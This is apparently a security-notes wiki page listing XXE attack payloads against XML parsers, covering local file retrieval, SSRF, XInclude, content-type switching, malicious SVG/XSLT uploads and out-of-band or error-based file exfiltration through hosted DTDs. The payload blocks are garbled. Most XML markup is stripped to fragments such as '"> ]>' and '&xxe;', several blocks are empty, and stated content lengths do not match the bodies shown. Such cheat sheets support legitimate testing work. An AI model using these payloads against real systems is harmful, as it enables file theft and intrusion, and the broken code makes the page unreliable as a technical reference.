> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/web-attacks/xxe.md).
# XXE
## Exploits
### File Retrieval
```
"> ]>
&xxe;
```
### SSRF
```
/"> ]>
&xxe;
```
## XInclude Attack
Useful for when the attacker doesn't control the whole XML structure but can only insert values in the fields (for instance as values returned from SOAP requests or populated from forms)
Read local file
```
```
SSRF
```
```
Example request
```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
var=
```
## XXE Through Modified Content-Type
In same cases it might be possible to trigger XXE vulnerabilities in requests that are not formatted as XML by setting the content type header to text/xml and rewriting the body of the request in order to be digested by an XML parser
### POST Request
Original request
```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
var=value
```
Modified request
```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
value
```
### JSON Body
Original request
```
POST /action HTTP/1.0
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"val"}
```
Modified request
```
POST /action HTTP/1.0
Content-Type: application/xml
Content-Length: 288
]>
name&xxe;
```
## XXE Through file upload
### XSLT
```
```
### SVG
Text will appear within the image
```
" > ]>
```
## Parametric payloads
### SSRF
```
"> %xxe; ]>
```
### File exfiltration
Hosted DTD
```
">
%eval;
%exfiltrate;
```
Actual payload
```
"> %xxe;]>
```
### Error based file exfiltration
Hosted DTD
```
">
">
%eval;
%error;
```
### Error based with DTD override
Test if DTD exists on target
```
">
%local_dtd;
]>
```
Payload
```
">
">
">
%eval;
%error;
'>
%local_dtd;
]>
```